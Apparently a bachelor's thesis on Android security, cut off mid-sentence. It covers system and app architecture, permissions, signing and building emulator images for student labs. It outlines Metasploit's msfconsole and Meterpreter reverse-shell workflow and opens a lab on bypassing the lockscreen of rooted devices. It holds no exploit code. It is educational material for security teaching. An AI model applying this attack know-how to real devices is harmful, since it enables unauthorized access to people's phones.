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Abstract

Android is the most popular mobile operating system. Its omnipresence leads to the fact
that it is also the most popular target amongst malware developers and other computer
criminals. Hence, this thesis shows the security-relevant structures of Android’s system
and application architecture. Furthermore, it provides laboratory exercises on various
security-related issues to understand them not only theoretically but also deal with them
in a practical way. In order to provide infrastructure-independent education, the exer-
cises are based on Android Virtual Devices (AVDs).
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1. Introduction

The following work shows the different perspectives on the security of the Android oper-
ating system (OS). Android has become the most widely used mobile operating system
[1]. When it was officially published in 2008, its main purpose was to run on smartphones.
Nowadays, there are a lot of different types of devices Android is running on. Not only
smartphones and tablets but also smartwatches, smart TVs, special devices like Google
Glass, embedded industrial systems, and even cars1 are driven by Android. However,
this thesis will focus on smartphones since they are ubiquitous nowadays. Besides phon-
ing and texting, modern smartphones are used for web-browsing, receiving and sending
emails, playing games and multimedia content, online shopping, navigating (via GPS,
WiFi-based positioning system, and cell identification), online banking (including mobile
TAN), and working remotely within the employer’s network. The result of this devel-
opment is that modern smartphones have many more attributes which were formerly
reserved for traditional personal computers. Hence, there are a lot of new attack vectors
compared to those of traditional mobiles. Therefore, the Android platform has become a
very worthwhile target for criminals and secret services developing malware and looking
for new vulnerabilities.
A lot of legacy devices run on Android versions < 5.0 because most manufacturers

ensure only between 18 months and 24 months of support. After this support period
no more official ports of recent Android versions for the particualar devices are provided
anymore. Although it may be possible to use one of the various custom ROMs (e.g.
CyanogenMod) which are based on recent Android versions, most users are not techno-
logically informed enough to install them on their devices. This fragmentation of Android
versions is a big problem concerning security-relevant updates because Google does not
provide direct security fixes except for their Nexus devices. Figure 1.1 shows the distri-
bution and codenames of the Android history. Versions < 4.4 (KitKat) are usually not
supported anymore, which means that no more security-relevant updates are provided.
Hence more than 50 % of all used devices worldwide are vulnerable to various kind of
attacks. This is the reason why even vulnerabilities on outdated versions of Android are
contemporary.

1http://www.android.com/auto/
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Figure 1.1.: Data collected during a 7-day period ending on June 1, 2015. Versions with
< 0.1% are not shown [2].

This work shall be a foundation for future Android-based CTF (Capture The Flag)
challenges or laboratory excercises supporting specific lectures of the degree courses Cor-
porate and IT-Security as well as Media and Information Engineering and Design. It
will first introduce the basic Android security features and mechanisms. After that, it
will provide a couple of virtual labs demonstrating typical Android security topics. The
severity of the labs is easy to medium. This decision was made based on the feedback
of students taking part in formerly created labs and challenges who complained about
overdifficult challenges which interfere with the learning process.
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2. Architecture of Android

This chapter shows the various security-relevant aspects of the Android architecture.
Android is based on the Linux kernel and therefore adopts its security mechanisms.
Furthermore, there are specific extensions which are typical for Android.

1 $ cat / proc / v e r s i o n
2 L inux v e r s i o n 3.4 .67+ ( d i g i t @ t y r i o n . par . co rp . goog l e . com) ( gcc v e r s i o n 4 .8←↩

(GCC) ) #3 PREEMPT Tue Sep 16 19 : 46 : 22 CEST 2014

Figure 2.1.: Checking kernel version of Android 5.1.1 via ADB.
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2.1. Android Versions

This thesis will deal with various versions of Android. As already shown in figure 1.1,
there are different ways to indicate a specific version. It is possible to use the codename,
the actual Android version, or the version of the Application Programming Interface
(API). The following table shall give a brief overview of the many different versions of
Android and its API to understand the specific terms used in this thesis and to provide
some historical details.

Table 2.1.: Overview of Android versions [3].
Codename Version API Released
Base 1.0 1 9/2008
Base_1.1 1.1 2 2/2009
Cupcake 1.5 3 4/2009
Donut 1.6 4 9/2009
Éclair 2.0 - 2.1 5 - 7 10/2009 - 1/2010
Froyo 2.2 - 2.2.2 8 5/2010 - 1/2011
Gingerbread 2.3 - 2.3.7 9 - 10 12/2010 - 9/2011
Honeycomb 3.0 - 3.2.1 11 - 13 2/2011 - 9/2011
Ice Cream Sandwich 4.0 - 4.0.4 14 - 15 10/2011 - 4/2012
Jelly Bean 4.1 - 4.3.1 16 - 18 6/2012 - 10/2013
KitKat 4.4 - 4.4.4 19 10/2013 - 6/2014
Lollipop 5.0 - 5.1.1 21 - 22 11/2014 - 4/2015
Android "M"[4] 6.0 22+ 5/2015

2.2. Android Stack

Android is built as a stack of different layers. Each layer has its own purposes and
responsibilites. The top of the stack are the user-space applications such as the stock
apps and apps installed by the user for example from the Google Play Store2. These
apps are written in Java and executed within a virtual machine environment.
The Android application framework enables developers to use the device’s various

functionalites through providing an API in the form of a wide range of Java classes.
After developing and installing apps, they can be executed within the Android runtime
environment.
The application framework as well as the Android runtime in turn use the built-in na-

tive libraries to provide for example cryptograpy (SSL), database management (SQLite),
HTML Rendering (WebKit), and other functionalities. The bionic library is a modi-
fied version of the C standard library libc and provides access to basic operating system
services like memory allocation or logging.

2https://play.google.com/store
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The Linux kernel is the base layer and therefore responsible for accessing the under-
laying hardware. Its purpose is not only the hardware abstraction through its built-in
drivers, it is also responsible for some basic security features which will be discussed in
later sections. The kernel used in Android is not the original Linux kernel used in desktop
or server distributions but a dedicated fork of the Android Open Source Project (AOSP)
as you can see in figure 2.1. It is leaner and adapted for the use on embedded devices
such as smartphones. According to Misra and Dubey [1], the Android kernel has neither
an X Window System nor are there all of the GNU tools usually provided in traditional
Linux environments. A lot of configuration files are missing, too.

Figure 2.2.: Android software stack [5].

2.3. Dalvik Virtual Machine

Java is the main language for developing apps in Android. Applications written in
Java typically run in a virtual machine. Unlike other environments, Android does not
use the traditional Java Virtual Machine (JVM). Instead, the Dalvik Virtual Machine
(Dalvik VM) in which .dex files (Dalvik Executable) are executed is implemented in the
Android stack. Such a .dex file is the result of normal Java .class files compiled from
Java source code using javac. After that, they get converted and optimized for mobile
environments using the dx tool. The next step in the process of building is generating
an .apk (Android Application Package) file whose structure will be discussed in chapter
3. For security reasons, every application runs in its own virtual machine. Each of these
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virtual machines is a copy of the initial Zygote process which will be discussed in section
2.5. This sandbox approach of course requires more memory and CPU capability than
running every app within the same VM because of its overhead. That is why Google
developed the Dalvik VM which is adapted to the requirements of mobile environments.
Compared to the traditional Java VM, the Dalvik VM is leaner and has a smaller memory
footprint.

2.4. Android RunTime

The Android Runtime (ART) was experimentally introduced with Android 4.4 (KitKat)
[6]. As shown in figure 2.3, users can decide whether to use the traditional Dalvik VM or
the new ART. Since the introduction of Android 5.0 (Lollipop), the former default Dalvik
VM has been replaced by ART [7]. The main difference is how they handle the Java
bytecode within the app’s .dex file. The Dalvik VM has to recompile the Java bytecode
into native machine code every time the application starts. This process is called Just-in-
time (JIT) compilation. ART once compiles it into persistent native machinecode during
installation using the tool dex2oat. From this point on, the already compiled native code
can be executed directly. This process is called Ahead-of-time (AOT) compilation [8].
AOT increases the time needed for the installation of the app. However, after successful
installation, apps are faster because there is no more compilation needed each time the
app starts.

(a) Switching from Dalvik VM to ART. (b) Rebooting after changing runtime.

Figure 2.3.: Select runtime in Android 4.4.
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It can be found out whether the Dalvik VM or ART is enabled through checking the
prop persist.sys.dalvik.vm.lib using the shell. Depending on the output, ART (libart.so)
or the Dalvik VM (libdvm.so) is enabled.

1 $ ge tp rop p e r s i s t . s y s . d a l v i k . vm . l i b
2 l i bdvm . so

Figure 2.4.: Checking whether Dalvik or ART is enabled.

2.5. Zygote

The Zygote daemon is the first Dalvik VM automatically started by the system at startup
and the parent of all prospective app processes. It preloads all Java classes and resources
which could be used by an app at runtime. After loading, the Zygote process listens on
its socket interface /dev/socket/zygote for requests to start apps [9]. For every received
request it forks itself and therefore delievers a cloned Dalvik VM with all needed com-
ponents already initialized through inheritance and running as a dedicated process. In
this new forked process, the executed app runs in a sandbox environment. This method
allows apps to run efficiently and without long latencies combined with added security
through the sandbox approach.

2.6. Permission System

The core of the Android security strategy is the use of various built-in permission concepts
of the Linux kernel.

2.6.1. Processes

In order to prevent apps from manipulating other apps’ data, Android uses methods of
process isolation. Each non-system app runs as its own dedicated process and has its own
low-privileged user space user identifier (UID). There is only one exception. Apps which
are signed by the same developer-key could have the same UID. Since every process has
its own protected memory and every user its own protected storage within the filesystem,
all apps are actually isolated from each other. To allow inter-application communication,
there are several mechanisms within the Android app architecture which will be discussed
in chapter 3.

2.6.2. Filesystem

According to Yaghmour [9], Android uses a root filesystem like any other distribution of
Linux. The difference is however, that Android does not use the Filesystem Hierarchy
Standard (FHS) [10]. Most of the important data is stored within the folders /system
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and /data. Since they are not part of the FHS, these folders hardly exist in regular Linux
distributions.
The path /system usually is a read-only mounted image containing AOSP’s native

binaries and libraries, framework packages, and stock apps. The path /data is a mounted
image within the root directory, too. In contrast to /system, it is usually mounted read-
write and contains apps installed by the user as well as data generated by these apps.
Android widely uses the traditional Unix filesystem permissions. As mentioned in an

earlier section, every installed app has its own UID and its own folder within the path
/data/data/<package name>. Access to this folder is only allowed to processes running
under the same UID as the owner of the folder has.

Table 2.2.: Exemplary Unix permissions in format binary/symbolic/decimal.
Owner Group Rest Permissions
111/rwx/7 111/rwx/7 111/rwx/7 Every user is allowed to do everything.
111/rwx/7 101/r-x/5 400/r- -/4 Owner everything, group read and exe-

cute, rest read.
110/rw-/6 400/r- -/4 400/r- -/4 Owner read and write, group and rest

read.
101/r-x/5 000/- - -/0 000/- - -/0 Owner read and execute, group and rest

nothing.

The filesystem permissions within a Unix system is based on the three rights to read (r),
write (w), and execute (x) a file or folder. In the case of a folder, the execute permission
constitutes the right to browse it. Every file and folder belongs to the user represented by
its UID and group represented by its group ID (GID) owning the process which created
the file. This user is called the owner of the file or folder. Permissions are represented
as a group of three bits. The least significant 001 (decimal 1) stands for executing, the
medium significant 010 (decimal 2) for writing and the most significant 100 (decimal 4)
for reading. Figure 2.2 shows how they can be combined to generate custom permissions.
In the classic nine bit scheme each terzet of bits represents the mentioned permissions for
one of the following three scopes: owner, group, the rest. Additional to the classic nine
bits there are three other types of bits represented through three additional flags called
setuid, setgid and sticky-bit which increase the usual amount of the current permission
scheme to twelve. Setting the setuid flag allows every instance to run an executable with
the right of the file’s owner. The setgid flag analogously allows the executing user to
run programs with the owner’s GID. Last but not least there is the sticky-bit. This flag
secures folders in a way that exclusively its owner is allowed to delete, rename, or move
files within this directory even if other users have write permissions.
Files written to SD cards or other kind of external storage are accessible by any installed

app because Android does not support the use of the permission system on this kind of
storage media.
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2.6.3. Application Manifest Permissions

Besides the two already discussed unix-based kinds of permissions, there is also a system
of high-level permissions implemented in Android. According to Chin et al. [11], these
permissions restrict access to the system API and applications must request them in their
manifests to gain access to protected API calls.
Up to Android 5.1.1 (Lollipop), the user has to grant all permissions an app requests

at the beginning of the installation process. Otherwise the app cannot be installed.
Android 6.0 ("M") introduces a new, more granular system allowing the user to decide
whether particular permissions are granted or not. This kind of permission-granting
system is new to stock Android and was formerly only available to users of custom ROM
versions of Android. Figure 2.5 shows the permission settings of the default camera app
under Android 5.1.1 Lollipop as well as under the developer preview of Android "M".
Unlike Lollipop, which only shows static information about already granted permissions,
Android "M" additionally allows refusing and granting permissions even if the app is
already installed on the system.

(a) Android Lollipop (b) Android "M"

Figure 2.5.: Comparison of camera app’s permission settings.
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Permissions are requested because they are added to the manifest.xml of the Android
application by the developer. The manifest.xml is discussed elaborately in chapter 3.

1 [ . . . ]
2 <pe rm i s s i o n s>
3 [ . . . ]
4 <pe rm i s s i o n name=" and ro i d . p e rm i s s i o n .BLUETOOTH_ADMIN">
5 <group g i d="net_bt_admin"/>
6 </ pe rm i s s i o n>
7
8 <pe rm i s s i o n name=" and ro i d . p e rm i s s i o n .BLUETOOTH">
9 <group g i d="net_bt"/>

10 </ pe rm i s s i o n>
11 [ . . . ]
12 </ p e rm i s s i o n s>
13 [ . . . ]

Figure 2.6.: Snippet of /system/etc/permissions/platform.xml.

These high-level permissions are defined for the whole system within the file /sys-
tem/etc/permissions/platform.xml as shown in figure 2.6. The shown examples are re-
sponsible for granting an application to either only use the Bluetooth device or also alter
its configuration. It can be seen that each of these permissions refers to a logical group
ID which is in turn mapped to a kernel group. Each of these groups defined within the
kernel refers to an appropriate filesystem GID. So every application assigned to a certain
permission is allowed to read, write, and execute every file belonging to this GID. This
special system uses the already explained filesystem permissions to additionally manage
hardware features utilising Linux’ nature to represent every hardware device as a specific
file. According to Shabtai et al. [12], there are about 100 permissions built into the An-
droid system by default. The range goes from permissions which allow using the internet
through sending an SMS to shutting down the device. Additional permissions can be
defined by any application. The permissions are divided into four main protection levels
which are described in table 2.3.
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Table 2.3.: Protection levels according to [13].
Protection Level Description
Normal Permissions are granted automatically.
Dangerous Permissions can be granted by the user during instal-

lation. If the request for permissions is denied, the
application is not installed (up to 5.1.1).

Signature Permissions are only granted if the requesting app is
signed by the certificate of the developer who defined
the permission. Signature permissions are often used
to restrict component access to a set of applications
trusted and controlled by the developer.

SignatureOrSystem Permissions are granted if the app meets the signa-
ture level requirement or if it is installed in the sys-
tem applications folder. Apps from the Google Play
Store cannot be installed into the system applications
folder. System applications must be pre-installed by
the device manufacturer or manually installed by an
advanced user who has rooted the device.
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3. App Structure

As mentioned within the previous chapter, Android mobile applications are developed
using the Java programming language. However, Android provides its own formats and
frameworks which will be discussed within this chapter.
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3.1. Android Application Package

Figure 3.1.: An .apk file’s internal structure [14].

Android apps are saved in the Android Application Package (APK) format. The files are
compressed zip archives containing Dalvik executables, the manifest file as well as a set
of resources provided to the executable. Figure 3.1 shows the content of an examplary
APK file [14]:

• assets contains raw resource assets that are not compiled.

• lib contains native library binaries. Although Android applications are written
mostly in Java, some of their functionalities may be implemented in native code.
This directory is optional as most Android applications do not contain native code.

• META-INF holds meta-data and certificate information.

• res and its subdirectories such as drawable, layout and xml contain resources which
are not compiled into the file resources.arsc.

• AndroidManifest.xml provides essential information about the app to the sys-
tem.

• classes.dex contains the Java classes compiled in the DEX format.

• resources.arsc lists the APK’s pre-compiled resources.
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3.2. Dalvik Executable

A Dalvik executable consists of one or more Java class files compiled with javac. Instead
of saving the compiled Java byte code in a .jar file, the dx tool further optimises the code
for mobile use making it leaner through merging redundant code and more efficient in
terms of memory reads and writes. While a .class file contains only one class, a .dex file
can contain multiple classes. Furthermore, duplicates of constants across the .class files
are eliminated after conversion into the .dex format [15].

Figure 3.2.: Comparison of Java .class and Android .dex files [16].
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3.3. Android Manifest File

The AndroidManifest.xml file provides information about the app’s attributes such as its
components, permissions, linked libraries, and the minimum API version needed to install
the app. The permissions an application requests and which up to Android Lollipop
have to be either confirmed or denied by the user during installation are set within the
AndroidManifest.xml file. These requests target onto the permissions defined within the
kernel as discussed in section 2.6.3. A list of all valid elements and attributes can be
found on the website of the Android Open Source Project [17].

1 <man i f e s t xm l n s : a nd r o i d=" h t t p : // schemas . and ro i d . com/apk/ r e s / and ro i d "
2 package="com . and ro i d . camera" a n d r o i d : s h a r e dU s e r I d=" and ro i d . media">
3 <uses−p e rm i s s i o n andro id :name=" and ro i d . p e rm i s s i o n .CAMERA" />
4 <uses−f e a t u r e andro id :name=" and ro i d . hardware . camera" />
5 <uses−f e a t u r e andro id :name=" and ro i d . hardware . camera . au t o f o cu s " ←↩

a n d r o i d : r e q u i r e d=" f a l s e " />
6 <uses−p e rm i s s i o n andro id :name=" and ro i d . p e rm i s s i o n .RECORD_AUDIO" />
7 <uses−p e rm i s s i o n andro id :name=" and ro i d . p e rm i s s i o n .←↩

ACCESS_FINE_LOCATION"/>
8 <uses−p e rm i s s i o n andro id :name=" and ro i d . p e rm i s s i o n .WAKE_LOCK" />
9 <uses−p e rm i s s i o n andro id :name=" and ro i d . p e rm i s s i o n .SET_WALLPAPER" />

10 <uses−p e rm i s s i o n andro id :name=" and ro i d . p e rm i s s i o n .←↩
WRITE_EXTERNAL_STORAGE" />

11 <uses−p e rm i s s i o n andro id :name=" and ro i d . p e rm i s s i o n .READ_SMS" />
12 [ . . . ]
13 </ man i f e s t>

Figure 3.3.: Fragment of AndroidManifest.xml showing the camera’s permissions.

3.4. Application Signing

Android allows installing an APK only if it is digitally signed with a private key belong-
ing to an X.509 certificate. While still under development, the Android development
environment signs the app automatically using a self-signed debug certificate when cre-
ating an APK [18]. This ensures that the Android emulator or test devices accept the
installation of the app. Later on, the developer has to generate her own certificate with
the tool jarsigner in order to upload the app to the Google Play Store. Jarsigner adds
the directory META-INF to the APK which contains the following three files [19]:

• MANIFEST.MF - A list containing the name and SHA-1 digest of each file within
the APK, except the files within the META-INF directory.

• CERT.SF - A list containing a SHA-1 digest of each line in as well as the SHA-1
digest of the complete MANIFEST.MF.

• CERT.RSA - The developer’s X.509 certifciate. Usually using the RSA algorithm
[20], sometimes DSA [21] is used. In this case, the file is named CERT.DSA [22].
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It does not make any difference whether it is a self-signed certificate or a certificate
signed by a well-known Certificate Authority (CA). Hence, Android does not check the
identitiy or reliability of the app’s developer. Based on the code signature, Android later
decides who is allowed to issue updates to the app [22]. Barrera et al. [19] criticise this
Trust-On-First-Use (TOFU) [23] approach based on self-signed certificates which does
not allow renewal, change, or revocation of the signing certificates. Furthermore, there
is no central instance signing and formerly sanctioning code before release in order to
ensure quality and security as for example Apple does [24].
Android checks if two or more apps installed on the device have the same origin re-

garding the signing person or institution. Actually, every Android app runs as its own
instance of the Dalvik VM and under its own UID. Hence, they are sandboxed by the
system which means that they cannot access other apps’ data. However, it is possible to
run two apps under the same UID if they are created by the same developer. This is the
case if the apps are signed with the same private key.
Android provides permissions which can only be obtained by apps signed with the

certificate the system image has been signed with. These permissions are called signature
or signatureOrSystem. A brief description can be found within table 2.3.

3.5. Inter-Component Communication

Although Android apps run within a sandbox and typically cannot access data or process
information of other apps per default, it is possible to allow specified types of communi-
cation between particular apps.
Intents are Androids primary technique to enable inter-communication between apps

or intra-communication between different components within the same app in the form
of messages [11]. These messages can on the one hand be sent point-to-point which
means that one instance directly addresses another specific instance. This type of Intent
is called explicit Intent. On the other hand, the messages can be implicitly broadcast
which means that they are sent to any listening app or component within the Android
system. This type is called implicit Intent [25]. The first three of the following four types
of components are able to communicate using Intents [11, 25]:

• Activities describe the content and design of the app’s visible graphical user inter-
faces. They can be started and controlled using Intents. Furthermore, they are able
to return data to their invoking component using Intents. Activities are declared
within the app’s manifest.xml.

• Broadcast receivers receive implicit Intents sent to multiple addressees. They
handle the event in the background after getting triggered by the receipt of an
appropriate Intent. There are three types of broadcast messages which receivers
typically forward to acitivities or services. Normal broadcasts are directly sent to
all registered receivers at one time. Ordered broadcasts are delivered to one receiver
at a time. Any reached receiver of an ordered broadcast is able to stop the Intent’s
further propagation. Priority levels for receiving ordered broadcasts can be set
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by the receiver. After delievery, sticky broadcasts remain accessible to broadcast
receivers activated at a future point in time. Sent once, the current battery status
for example can be retrieved by broadcast receivers as long as it does not change.
As soon as the battery’s status changes, a new sticky broadcast is sent.

• Services do not provide any kind of user interaction since they run in the back-
ground. Other components are able to bind to a service using Intents. Examples
of services bound by other components are downloading files or decompressing
archives in the background.

• Content providers are another component used to communicate between apps
and to share data. Unlike other components, they do not use Intents. Content
providers can be table-based (usually SQLite databases), file-based, or network-
based [26]. The different types share the property that they are used as persistent
internal data storage as well as for sharing information between applications. They
can be addressed using URIs defined by the app providing the content provider.

A broadcast Intent sender can limit the Intent’s recipients by requiring them to have
a certain permission. Therefore, apps can make use of existing Android permissions or
define new ones in their manifests.
To allow components to be accessed by other apps (public), the exported attribute

within its declaration in manifest.xml has to be set. Otherwise only components belong-
ing to the same app or to another app running under the same UID are able to see the
component (private).
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4. Development Environment

This chapter will describe the platorms, frameworks, and tools used to realize the labs
which are based on virtual machines and do not require any hardware except for a normal
computer. Hence, they can be simulated by anyone interested in practical security aspects
of Android. The host operating system in which the development of the labs takes place
is an Arch Linux with latest kernel 4.0.5-1.
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4.1. Android Emulator

The Android SDK provides its own Android emulator [27] which can be controlled
through the graphical Android Virtual Device Manager. It is possible to create ar-
bitary Android version and device combinations with custom settings like size of RAM
or sd-card, whether cameras are installed or not, and display resolution.

Figure 4.1.: Creating an Android Virtual Device with AVD Manager.

Besides the graphical user interface, there is also the possibility to run the emulator
via the shell. There is a huge amount of parameters to control the Android emulator
via the command line interface [27]. For the thesis’ purpose it is advisable to run the
emulator using the syntax emulator @<avd_name> &, where the & forces the command
to run in the background and therefore prevents it from blocking the shell.
To understand how the emulator works, its file structure has to be described. There

is a dedicated directory for each virtual device within the folder ~/.android/avd. By
default, this folder contains the files config.ini, userdata.img, userdata-qemu.img, and sd-
card.img if an sd card is configured. After starting the machine the first time, the files
cache.img, emulator-user.ini, hardware-quemu.ini, and userdata-qemu.img are added.
As it can be seen in table 4.1, there are some more files needed to run the AVD.
These files are stored within the folder opt/android-sdk/system-images/android-<API-
Version>/default/<Architecture>/. As each of these files is copied to a temporary file
which is automatically removed when the emulator exits, modifying at runtime is not
possible.
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Table 4.1.: Files used by the Android emulator [28].
Filename Contains Filetype Mountpoint
cache.img Files cached by system and

apps
YAFFS2 /
EXT3/4

/cache

config.ini information about the AVD it-
self, the emulated hardware,
and the destination of files
used by the emulator.

ASCII Text -

emulator-user.ini Window position of the AVD
/ UUID

ASCII Text -

hardware-
qemu.ini

specified information about
the emulated hardware

ASCII Text -

kernel-qemu the Linux kernel optimized for
Android devices

Linux
kernel
x86/ARM
boot ex-
ecutable
zImage

/sys

ramdisk.img init-binaries and -scripts gzip com-
pressed cpio
archive

/

sdcard.img data on emulated SD card FAT32 im-
age

/sdcard

system.img system binaries YAFFS2
image

/system

userdata.img user- and app-specific data YAFFS2
image

/data

userdata-
qemu.img

user-data of specific user YAFFS2
image

/data

The Android emulator runs within its own virtual network with the network address
space 10.0.2.0/24. Table 4.2 provides a brief overview of the most important addresses.
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Table 4.2.: IP addresses of the emulator’s network address space [28].
Address Description
10.0.2.1 Gateway address.
10.0.2.2 Special alias references to your

host’s loopback interface (usually
127.0.0.1).

10.0.2.3 First Domain Name System (DNS)
server.

10.0.2.<4-6> Optional second, third, and fourth
DNS server.

10.0.2.15 Network interface of the emulated
device.

127.0.0.1 Loopback interface of the emulated
device.

Right after creation, Android Virtual Devices (AVDs) provide root access via ADB by
default. To simulate real conditions, the ADB daemon has to be run in non-root mode.
Therefore, the following section will show the steps needed to create AVDs running an
unrooted ADB daemon.

4.2. Building Android

To ensure that all packages needed to compile the Android system are available, the
building environment should be installed and configured according to the official AOSP
guide [29] and the documentation of the used operating system / distribution. For
example, Arch Linux requires the setting of the default Python version to 2 and the Java
version depending on the version of Android which has to be compiled. For compiling
Android version 5.0 and higher, Java 7 is required. Android 4.4 down to 2.3 needs
Java 6 and versions older than this Java 5. In Arch Linux, the command to set the
default Java version to Java 6 is archlinux-java set java-6-jdk. In order to build Android
versions older than Jelly Bean (4.1), gcc has either to be downgraded to version 4.4
or the package gcc44-multilib-android from the Arch User Repository (AUR) has to be
installed additionally. In order to use this version of gcc, the parameters CC=gcc-4.4
and CXX=g++-4.4 have to be added to the make command. Android 2.2 (Froyo) needs
Java 5 which is neither supported nor provided anymore by official Arch repositories or
the AUR. To compile it anyway, the best way is to create a virtual machine with Ubuntu
10.04 running in it. When all prerequisites including Google’s tool repo are installed and
configured, the source code can be downloaded, prepared, and compiled [30, 31]. For
this, the steps described in figure 4.2 are necessary.
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1 % Create and e n t e r work ing d i r e c t o r y where sou rce w i l l be saved .
2 $ mkdir ~/ and ro i d
3 $ cd ~/ and ro i d
4
5 % I n i t i a l i z e r e p o s i t o r y .
6 % The paramete r −b wi th the f o l l o w i n g Andro id branch i s o p t i o n a l .
7 % I f no th i ng g iven , the master−branch i s checked out a u t oma t i c a l l y .
8 $ repo i n i t −u h t t p s : // and ro i d . g o og l e s o u r c e . com/ p l a t f o rm / man i f e s t −b <←↩

Andro id branch>
9 % Synch ron i z e l o c a l r e p o s i t o r y . Th i s s t e p might take s e v e r a l hour s .

10 $ repo sync − j 8
11
12 % I n i t i a l i z e the bu i l d−env i ronment .
13 $ sou rce b u i l d / env se tup . sh
14
15 % Chose t a r g e t b u i l d and b u i l d t y p e .
16 $ lunch aosp−u s e r
17
18 % Sta r t c omp i l i n g .
19 $ make−3.81 − j 8
20 $

Figure 4.2.: Downloading and compiling Android sources.

The parameter -j8 used with repo sync and make-3.81 specifies the number of jobs
running simultaneously. The actual number depends on the cpu(s) used by the compiling
system. The number of processors and their cores can be identified using the command
cat /proc/cpuinfo. In the case at hand, an Intel(R) Core(TM) i5-5200U CPU is used
which possesses four virtual processors with two cores each. Hence the optimal number
of eight jobs is used.

Table 4.3.: AOSP Buildtypes based on [31].
Buildtype Description Use
user limited access; suited for production Labs with non-root

ADBD
userdebug like user but with root access and debug-

gability; preferred for debugging
not used

eng development configuration with additional
debugging tools

Labs with rooted
ADBD

The most important step is to chose the buildtype user because this is responsible
for having a system with an unrooted ADB daemon at the end of the compiling pro-
cess. There are two other buildtypes userdebug and eng (default) which both result
in automatically rooted ADB daemons. Executed in an ADB shell, the command get-
prop ro.build.type shows the buildtype of the respective image. Besides the buildtype,
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the architecture in which the images shall be compiled is another factor to be decided
about while executing lunch. The standard native architecture of most Android devices
is ARM. Hence, the most exploits are written and compiled for using them on ARM
devices. However, images compiled in x86 architecture lead to faster running AVDs since
this architecture is native to the overwhelming majority of client computers. Within
a Linux environment however, the Kernel-based Virtual Machine (KVM) has to be in-
stalled and configured properly in order to run x86-based AVDs. Hence, the labs are
exceptionless based on ARM images in order to minimize the students’ effort concerning
the installation and configuration of dependencies. Depending on the used platform, ver-
sion, and type, there are several errors while compiling the Android images. Solutions for
all of them can usually be found consulting relevant developer boards (XDA Developers3,
Stack Overflow4 et al.). Mentioning all of the possible errors and solutions would be out
of scope of this Bachelor’s thesis.

4.3. Tools Used

In the following section, some of the used tools are described.

4.3.1. Android Debug Bridge

Figure 4.3.: Architecture of the Android Debug Bridge (ADB) [6].

The Android Debug Bridge (ADB) [32] is a client-server tool which allows accessing the
Android device through USB and network. To enable the usage of ADB, first of all
the developer options have to be unlocked through tapping on the build number seven
times within the Android settings menu. After sucessfully unlocking, the options USB

3http://forum.xda-developers.com/
4http://stackoverflow.com/
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debugging or ADB over network have to be activated within the developer options of the
Android device. Especially on many Lollipop ROMs the last mentioned option is not
built into the system settings and has to be activated through one of the many third-party
apps from Google Play Store.
While the host’s local ADB server runs on port 5037, the service adbd on the Android

device listens by default on port 5555. ADB delievers a bunch of tools which can be
invoked using the adb command with directly following parameters described in table
4.4. Furthermore, intergrated development environments (IDEs) like Eclipse and Android
Studio can use their own instance of ADB to install and execute apps onto a device or
AVD. Both instances use the host’s local ADB server in order to communicate with the
device’s adbd.

Table 4.4.: Overview of important adb parameters
Parameter Description
devices Shows all connected Android devices with run-

ning ADBD.
install <apk-file> Installs an .apk file on the Android device.
kill-server Stops the ADB server daemon on the local com-

puter.
pull <remote-src><local-dst> Copies a file from the Android device to the local

computer.
push <local-src><remote-dst> Copies a file from the local computer to the An-

droid device.
shell Opens a remote shell to the Android device on

the local computer.
start-server Starts ADB server daemon on the local com-

puter.

4.3.2. Android Studio

Android Studio5 is Google’s integrated development environment for Android. It provides
standard IDE features like autocompletion and syntax highlighting but also more complex
and specific functionalities like GitHub integration and multi-screen app development.

4.3.3. Metasploit

The Metasploit Framework6 is a tool implemented in Ruby providing methods to create,
configure, and run exploits. In some cases, vulnerability scanners show false positives.
Metasploit can be used to check whether the results are valid or not. It is used to prove

5https://developer.android.com/sdk/index.html
6http://www.metasploit.com/
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the criticality of vulnerabilites. A lot of exploits are already included, but there is also
the possibility to extend Metasploit with additional, even self-written exploiting modules.
Metasploit’s most important tool is its console which can be started using the command

msfconsole. Within the console, the user can search for certain exploits, customise and
configure them, add an appropriate payload, and finally run the exploit. The following
table gives a brief overview of msfconsole’s most important commands.

Table 4.5.: Overview of important msfconsole commands.
Command Description
exploit / run Executes the chosen exploit.
jobs Displays jobs and job IDs.
kill <job ID> Kills a job with appropriate ID.
search <expression to search for> Searches for modules / exploits.
sessions Shows open Meterpreter, VNC, and (reverse)

shell sessions.
sessions -i <session ID> / run Interact with the session with the given ID.
set <exploit option> <value> Sets the given option to the given value.
show options Shows parameters of the selected module / ex-

ploit.
use <path to module / exploit> Selects a certain module / exploit.

Metasploit also provides the so called Meterpreter. It is a tool providing the attacker a
shell-like environment running on the target machine. After transporting and executing
it as payload to the target machine using a dedicated exploit, the Meterpreter connects to
the reverse handler listening on the attacker’s machine and opens a virtual Meterpreter
shell which enables the attacker to control the target machine.

4.3.4. Wireshark

Wireshark is one of the most famous network-sniffing tools. It provides a huge number
of functionalities to capture, filter, and analyse traffic flowing through a local network
interface. External tools enable Wireshark even to sniff the whole network using methods
like ARP Poisoning.
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5. Lab: Bypass Lockscreen

One of the most possible menaces is to lose the device or to get it stolen. For this case
Full Disk Encryption (FDE) is implemented within Android. Unfortunately, on most
devices it is not activated by default and therefore all data is stored unencrypted if
FDE is not activated by the user. Even if Android’s FDE is activated, there is a cold
boot attack called FROST [33] to reconstruct the key using a mixture of deep-freezing
and a custom bootloader. Unfortunately, this very interesting attack does not work
with Android Virtual Devices and is therefore out of scope. Many people use a screen
lock to protect their device from physical threats. A relevant physical attack forensic
professionals actively apply [34] to learn about the used PIN or pattern, is the so-called
smudge or fingerprint attack [35, 36]. As it also requires access to a physical device,
this lab discusses software-based methods to break the security provided by the Android
screen lock. Users of older devices in particular have their bootloader unlocked to use a
custom ROM which is usually rooted and often has an active ADB deamon running on
it. This lab demonstrates how to bypass the screen lock if the device is rooted and the
usb debugging is activated. An additional challenge is provided through preparing the
filesystem of another AVD to be read only.
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5.1. Goal

The goal of both stages of the lab is to bypass the lockscreen and therefore get access
to the device’s graphical user interface. Further information can be found within the
assignments chapter A of the appendix.

5.2. Background

According to Elenkov [6], Android provides a screen lock to protect the device from un-
wanted and unprivileged usage. There are several methods to unlock the device. The
simplest is the slide unlock which protects the device from unwanted but not from un-
privileged usage due to a lack of authentication. The PIN and password unlock methods
are similar. A PIN only allows using numbers to unlock, whereas a password allows
using alphanumeric as well as a range of special characters. The pattern unlock method
requires the user to draw a specific pattern on a 3x3 grid. Android 4.0 furthermore in-
troduced the face unlock method which uses simple facial recognition in order to unlock
the device.
Android saves passwords and PINs as a concatenation of both, a SHA-1 as well as

